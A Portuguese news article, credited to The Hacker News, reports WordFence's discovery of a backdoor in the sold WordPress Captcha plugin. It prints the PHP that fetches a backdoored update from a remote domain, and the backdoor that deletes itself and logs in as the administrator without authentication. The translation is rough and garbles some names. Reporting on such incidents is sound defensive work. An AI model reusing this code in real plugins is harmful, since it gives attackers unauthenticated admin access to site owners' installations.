Backdoor escondido encontrado no plugin WordPress Captcha afeta mais de 300.000 sites[1]

O que é Captcha?

Você é uma pessoa de verdade? Navegando na web com certeza você já se deparou com alguma pergunta como essa ao tentar inserir um comentário ou cadastrar um login e senha em algum site. Embora a primeira vista a pergunta pareça estúpida, sua proposta faz todo o sentido em se tratando de segurança.

Perguntas como essa são um exemplo de captcha. O termo é um acrônimo para Completely Automated Public Turing Test to Tell Computers and Humans Apart ou, numa tradução direta, teste de Turing público completamente automatizado para diferenciação entre computadores e humanos.

E para que isso serve? Em linhas gerais, os captcha servem como uma ferramenta auxiliar para evitar spams ou mensagens disparadas por outros computadores ou robôs. A idéia é que a resposta os testes de captcha seja de solução impossível para um computador permitindo, assim, que somente seres humanos tenham acesso a determinados conteúdos ou possam enviar informações.

Comprar plugins populares com uma grande base de usuários e usá-lo para campanhas maliciosas sem esforço tornou-se uma nova tendência para atores ruins.

Um desses incidentes aconteceu recentemente quando o renomado desenvolvedor BestWebSoft vendeu um popular **plugin Captcha WordPress** para um comprador não revelado, que então modificou o plugin para baixar e instalar um backdoor oculto.

Em uma publicação no blog publicada na terça-feira, a empresa de segurança da WordFence revelou por que o WordPress recentemente lançou um popular plugin Captcha com mais de 300 mil instalações ativas fora de sua loja oficial de plugins.

Ao revisar o código-fonte do plugin Captcha, pessoas do WordFence encontraram um backdoor grave que poderia permitir que o autor do plugin ou atacantes ganhasse remotamente o acesso administrativo aos sites do WordPress sem exigir qualquer autenticação.

O plugin foi configurado para puxar automaticamente uma versão "backdoored" atualizada de um URL remoto – https [: //] simplywordpress [dot] net / captcha / captcha_pro_update.php – após a instalação do repositório WordPress oficial sem o consentimento do administrador do site.

---

[1] *Fonte: The Hacker News* - By Rogerinho Freitas dezembro 20th, 2017

```php
function cptch_wp_plugin_auto_update()
{
    require_once ('cptch_wp_auto_update.php');
    global $cptch_plugin_info;

    $wptuts_plugin_current_version = $cptch_plugin_info['Version'];
    $wptuts_plugin_remote_path =
'https://simplywordpress.net/captcha/captcha_pro_update.php';
    $wptuts_plugin_slug = plugin_basename(__FILE__);

    new cptch_wp_auto_update($wptuts_plugin_current_version,
$wptuts_plugin_remote_path, $wptuts_plugin_slug);
}
```

Este código de backdoor foi projetado para criar uma sessão de login para o invasor, que é o autor do plugin neste caso, com privilégios administrativos, permitindo que eles tenham acesso a qualquer um dos 300.000 sites (usando este plugin) remotamente sem requerer autenticação.

"Esta porta traseira cria uma sessão com ID de usuário 1 (o usuário de administrador padrão que o WordPress cria quando você a instala pela primeira vez), define cookies de autenticação e, em seguida, elimina-se" lê a publicação do blog da WordFence. "O código de instalação da porta traseira não foi autenticado, o que significa que qualquer um pode ativá-lo".

Além disso, o código modificado tirado do servidor remoto é quase idêntico ao código no repositório de plugins legítimo, portanto, "disparar o mesmo processo de atualização automática remove todos os vestígios do sistema de arquivos do backdoor", fazendo parecer que nunca esteve lá e ajudando o invasor evita a detecção.

```php
@unlink(__FILE__);

require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );

    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );

    exit();
}
```

A razão por trás da adição de uma porta traseira não está clara neste momento, mas se alguém paga uma quantidade considerável para comprar um plugin popular com uma grande base de usuários, deve haver um motivo forte por trás.

Em casos semelhantes, vimos como as cibercotas organizadas adquirem plugins e aplicativos populares para propagação furtiva de sua grande base de usuários com malware, adware e spyware.

Ao descobrir a verdadeira identidade do comprador do plugin Captcha, os pesquisadores da WordFence descobriram que o domínio net [pay] net da simplicidade que serve o arquivo backdoor foi registrado para alguém chamado "Stacy Wellington" usando o endereço de e-mail "scwellington [at] hotmail.co.uk ".

Usando a pesquisa reversa do whois, os pesquisadores encontraram um grande número de outros domínios registrados no mesmo usuário, incluindo Converter me Popup, Death To Comments, Human Captcha, Smart Recaptcha e Social Exchange.

O que é interessante? Todos os domínios acima mencionados reservados sob o usuário continham o mesmo código de backdoor que os pesquisadores do WordFence encontraram no Captcha.

O WordFence juntou-se ao WordPress para corrigir a versão afetada do plug-in Captcha e bloqueou o autor de publicar atualizações, pelo que os administradores de sites são altamente recomendados para substituir o seu plug-in pela última Captcha oficial versão 4.4.5.

O WordFence prometeu lançar detalhes técnicos detalhados sobre como funciona a instalação e execução de backdoor, juntamente com uma exploração de prova de conceito após 30 dias para que os administradores tenham tempo suficiente para corrigir seus sites.